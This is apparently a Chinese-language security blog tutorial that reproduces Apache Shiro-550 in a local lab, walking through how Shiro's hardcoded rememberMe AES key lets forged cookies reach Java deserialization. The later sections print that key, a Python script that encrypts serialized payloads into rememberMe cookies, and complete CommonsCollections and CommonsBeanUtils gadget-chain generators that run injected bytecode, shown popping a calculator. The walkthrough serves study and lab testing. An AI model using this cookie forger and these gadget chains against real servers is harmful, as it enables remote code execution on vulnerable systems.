Bootstrap

反序列化-Shiro-550详细分析

环境搭建

1.下载文件

  1. jdk8u65
  2. tomcat8 (https://tomcat.apache.org/download-80.cgi?Preferred=https%3A%2F%2Fdlcdn.apache.org%2F)
  3. shiro 1.2.4 (漏洞影响环境 shiro < 1.2.4)
    jdk8u65和tomcat8直接下载安装程序,跟着默认步骤走就可以,tomcat8下载位置
  4. 简单的网站demo(可以直接使用p神的项目https://github.com/phith0n/JavaThings/tree/master/shirodemo)
    在这里插入图片描述

2.配置

我们直接用idea打开下载的网站demo

2.1 添加应用服务器

在这里插入图片描述

2.2 选择Project Structure

因为我们使用的是已经搭建好的项目,这些都已经提前配置好了
在这里插入图片描述

2.3 配置Edit Configurations

url要设置为http://localhost:8080/shirodemo_war,这个路径为部署的时候设置的一级目录,所以我们让启动后浏览器自动打开这个url
在这里插入图片描述
部署两个都可以选
在这里插入图片描述
往下看,这个应用程序上下文就是我们网站的一级目录,所以上面的url要对应在这里插入图片描述

2.4 登录

通过shiro的配置文件,可以看到,有两个用户账号root/secret和guest/guest,root账号为admin权限
在这里插入图片描述
登录可以使用root账户登录

1.漏洞原理

我们在登录shiro框架保护的网站应用时,勾选记住我,登录成功后会在返回包中有一个set-Cookie字段的rememberMe,在之后的请求中都会带上这个数据
在这里插入图片描述
在这里插入图片描述
Shiro1.2.4版本之前,在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。

加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。

勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

这里出现问题的点就在于AES加解密的过程中使用的密钥key。

AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码

2.代码分析

2.1 首次登录分析

我们先看下登录的地方代码分析下,在AbstractRememberMeManager.onSuccessfulLogin处打下断点
在这里插入图片描述
可以看到该方法接收的参数分别为subject(当前的Subject实例),token(凭证信息,包含了账号密码和rememberme属性),info(身份验证信息)

该方法首先使用forgetIdentity()方法对subject进行清除之前存储的用户信息

然后使用isRememberMe方法对token进行判断
在这里插入图片描述
使用rememberIdentity对数据进行处理
在这里插入图片描述
在这里插入图片描述
调用了 getIdentityToRemember 方法,该方法的目的是从 subject 和 authcInfo 中提取出用户的身份信息,并将其封装成一个 PrincipalCollection 对象

进入下一行代码的rememberIdentity方法中,调用了 convertPrincipalsToBytes 方法,该方法的目的是将 PrincipalCollection 对象(包含用户的身份信息)转换为字节数组。
在这里插入图片描述
在这里插入图片描述在 convertPrincipalsToBytes 方法中,我们可以看到对Principals进行了序列化,序列化代码就正常的步骤,如下图
在这里插入图片描述
在序列化之后,对序列化的字节码进行加密,加密我们可以看到主要是cipherService.encrypt(serialized, getEncryptionCipherKey())

也就是AES的CBC模式,第一个是要加密的数据,第二个参数是密钥
在这里插入图片描述
我们看下密钥的生成过程,一步步往上找,我们可以看到在这个类首先有一个默认值DEFAULT_CIPHER_KEY_BYTES,他就是一串Base64解密后的值,然后在初始化中,将这个值赋值给了encryptionCipherKey和decryptionCipherKey,这个也就是我们aes加解密的密钥
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后将byteSource对象转换为字节数组并赋值返回
接下来我们继续rememberIdentity()方法的分析
在这里插入图片描述
我们分析rememberSerializedIdentity方法
在这里插入图片描述
该方法是一个受保护的方法,接受两个参数:subject(当前的Subject实例)和serialized(用户的序列化信息,通常是一个字节数组)

首先,方法检查subject是否是HTTP相关的,如果Subject不是HTTP相关的,则方法不会执行任何操作,在这种情况下,如果启用了调试日志,则会记录一条消息,说明Subject不是HTTP相关的

如果Subject与http相关,从Subject中获取HttpServletRequest和HttpServletResponse,将传入的序列化身份信息serialized进行Base64编码,创建一个cookie实例,将cookie保存到HttpServletRequest和HttpServletResponse中,这样用户的浏览器就会在响应中接收到这个Cookie

我们分析过后可以意识到rememberSerializedIdentity方法负责在用户选择记住我时,将用户的身份信息存储到Cookie中,如果 Subject 不是 HTTP 相关的,则方法不会执行任何操作。如果 Subject 是 HTTP 相关的,则方法会将序列化的身份信息进行 Base64 编码,并将其存储到名为 rememberMe 的 Cookie 中。

我们重新来进行一次调试,并使用burp记录数据包
在这里插入图片描述
在这里插入图片描述
我们可以看到,在这里生成的base64编码数据和burp中的数据完全一致,所以这就是登录选择remember时,cookie生成的过程

2.2 Cookie解密分析

我们分析加密过程的时候主要分析的是rememberSerializedIdentity方法,那么在同类CookieRememberMeManager中还有一个getRememberedSerializedIdentity方法,我们在这里打下断点
在这里插入图片描述
上半部分先对subjectContext进行一次判断,看看是否和HTTP相关,然后将其转换为WebSubjectContext类型并获取HttpServletRequest 和 HttpServletResponse 对象。

然后从remember中读取Base64编码的信息,我们跟下去
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到是通过循环cookies里面的数据,然后找到name为rememberMe的返回
主要解密过程是在这一步中进行,我们跟进去,查看具体细节
在这里插入图片描述
在最后一步中将Base64的编码转换为字节数组
在这里插入图片描述
在这里插入图片描述
跟着断点走,进入到AbstractRememberMeManager#getRememberedPrincipals方法中
在这里插入图片描述
进入convertBytesToPrincipals方法,我们可以看到先对字节进行一次解密方法,然后进行反序列化
在这里插入图片描述
跟进decrypt方法,在这里我们可以看到和上面登陆时分析的一样,有一个解密操作,也是aes的cbc解密操作,密钥也是一模一样
在这里插入图片描述
在这里插入图片描述
我们在上面分析过,这个值就是在类的初始化中就已经处理好了,就是这个固定的值
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后返回一个字节数组,跟进deserialize方法,是一个标准的反序列化操作
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.漏洞分析

在我们第一部分漏洞原理里说过,漏洞的原理是shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码

所以漏洞产生的位置就是咱们2.2 Cookie加密分析中的最后执行反序列化代码处

咱们应该怎么来利用呢?

就像cookie生成的过程一样:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段

首先,准备一个反序列化利用链,将链生成的序列化文件进行AES加密,然后Base64编码,再将最后的数据添加到RememberMe中进行访问就可以了

我们先编写一个用于AES+Base64加解密的脚本

# -*- coding: utf-8 -*-
import base64

from Cryptodome.Cipher import AES


def encrypt_poc(filename):
    with open(filename,'rb') as file:
        poc = file.read()

    #创建AES加密
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    BS = AES.block_size
    mode = AES.MODE_CBC
    pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
    iv = b' ' * 16
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    filetext = base64.b64encode(iv + encryptor.encrypt(pad(poc)))
    return filetext

def aes_dec(enc_data):
    try:
        enc_data = base64.b64decode(enc_data)
        unpad = lambda s: s[:-s[-1]]
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = enc_data[:16]
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        plaintext = encryptor.decrypt(enc_data[16:])
        plaintext = unpad(plaintext)
        return plaintext
    except Exception as e :
        print(e)

if __name__ == '__main__':
    print(encrypt_poc("D:\\tools\\idea2023.3\\untitled\\ser.ser").decode())
    print(aes_dec(""))

3.1 URLDNS验证

咱们可以先用URLDNS链验证下,不熟悉URLDNS链的朋友可以先看我之前的分析文章熟悉下

先用URLDNS代码生成一个序列化的poc文件(具体代码,可看往期文章URLDNS),然后使用加密脚本生成remember
在这里插入图片描述
我们首先将断点打在反序列化处,然后更改burp数据发包
在这里插入图片描述
在这里插入图片描述
但是我们会发现,断点没有触发,这是因为在Cookie中除了rememberMe外,还有一个值是JSESSIONID,如果包含它的话,会优先使用它进行登录
在这里插入图片描述
在 DefaultSecurityManager 类中,对 JSESSIONID 和 RememberMe cookie 的判断和区分主要发生在 createSubject 方法中。这个方法负责创建 Subject 实例,并在创建过程中处理会话和身份信息

resolveSession(SubjectContext context):
这个方法尝试从 SubjectContext 中解析出会话。如果存在有效的 JSESSIONID,则会尝试恢复用户的会话。

resolvePrincipals(SubjectContext context):
这个方法尝试从 SubjectContext 中解析出用户的身份信息。如果存在有效的 RememberMe cookie,则会尝试恢复用户的身份信息。

所以我们需要把请求包中的JSESSIONID删除掉访问
在这里插入图片描述
在这里插入图片描述
在反序列化处解析出了我们的poc,hashMap类,查看dnslog,已经接收到访问记录
在这里插入图片描述

3.2 CC链测试

我们使用的环境也有commons-collections 3.2.1,我们使用CC1链进行尝试

先用CC1代码生成一个序列化的poc文件(具体代码,可看往期文章CC1_LazyMap),然后使用加密脚本生成rememberMe
在这里插入图片描述
在这里插入图片描述
我们发送后,发现报错,查看错误信息,显示Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;
在这里插入图片描述
我们仔细分析源代码,发现shiro使用了ClassResolvingObjectInputStream类而非传统的ObjectInputStream
在这里插入图片描述
在ClassResolvingObjectInputStream中重写了resolveClass方法,在方法中也是使用ClassUtils.forName来获取类的Class对象
在这里插入图片描述
在这里插入图片描述
这里先使用THREAD_CL_ACCESSOR类加载器加载,加载失败返回为null后继续使用CLASS_CL_ACCESSOR类加载器加载,加载失败返回为null后再继续使用SYSTEM_CL_ACCESSOR加载器加载,均为null则打印报错信息并抛出异常

在ClassUtils.forName中会调用Classloader.loadClass()对类进行加载,在tomcat环境下调用的三个Classloader分别为ParallelWebappClassLoader、ParallelWebappClassLoader、AppClassLoader,在 Tomcat 环境中,WebappClassLoader 主要负责加载 Web 应用程序中的类。而Transformer数组属于第三方库中的类组成的数组,WebappClassLoader无法加载这种数组,所以会报错

所以我们构造一条不使用数组的CC链来生成POC,使用CC3来实现命令执行,避免数组的使用

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6_2 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates,codes);

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //初始化加载类
//        templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer("1"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
   
        lazymap.put(tiedMapEntry,null);
        lazymap.remove(templates);

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,invokerTransformer);

        serialize(hashMap);
//        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;

    }

}

生成一个序列化的poc文件,然后使用加密脚本生成rememberMe,发包,成功弹出计算器
在这里插入图片描述

3.3 CB链测试

我们使用CommonsBeanUtils反序列化链进行尝试,但是我们首先要注意的是,shiro自带的CommonsBeanUtils版本为1.8.3,如果我们序列化时用的版本不一样,就会出现报错

具体体现为两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。
在这里插入图片描述所以我们要使用相同版本1.8.3的来生成序列化文件,然后加密成rememberMe发包

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();

        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "a");

        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] eval = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {eval};
        bytecodes.set(templates, codes);

        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        final BeanComparator beanComparator = new BeanComparator();


        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(1,beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);

        Field property = beanComparator.getClass().getDeclaredField("property");
        property.setAccessible(true);
        property.set(beanComparator,"outputProperties");

        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        queue.set(priorityQueue,new Object[]{templates, templates});
        serialize(priorityQueue);

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;

    }
}

在这里插入图片描述

;